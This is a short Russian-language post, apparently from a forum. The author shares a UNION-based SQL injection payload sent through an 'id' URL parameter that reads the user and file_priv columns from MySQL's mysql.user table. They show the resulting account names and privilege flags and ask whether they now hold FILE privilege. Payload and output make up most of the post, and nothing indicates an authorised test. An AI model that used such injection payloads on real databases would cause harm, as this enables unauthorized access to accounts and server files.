Выполнил такой код:

&id=-1+union+select+1,2,3,4,5,6,7,file_priv,9,user+from +mysql.user/*

Y root
N puma
N as

Получается у меня есть файл прив?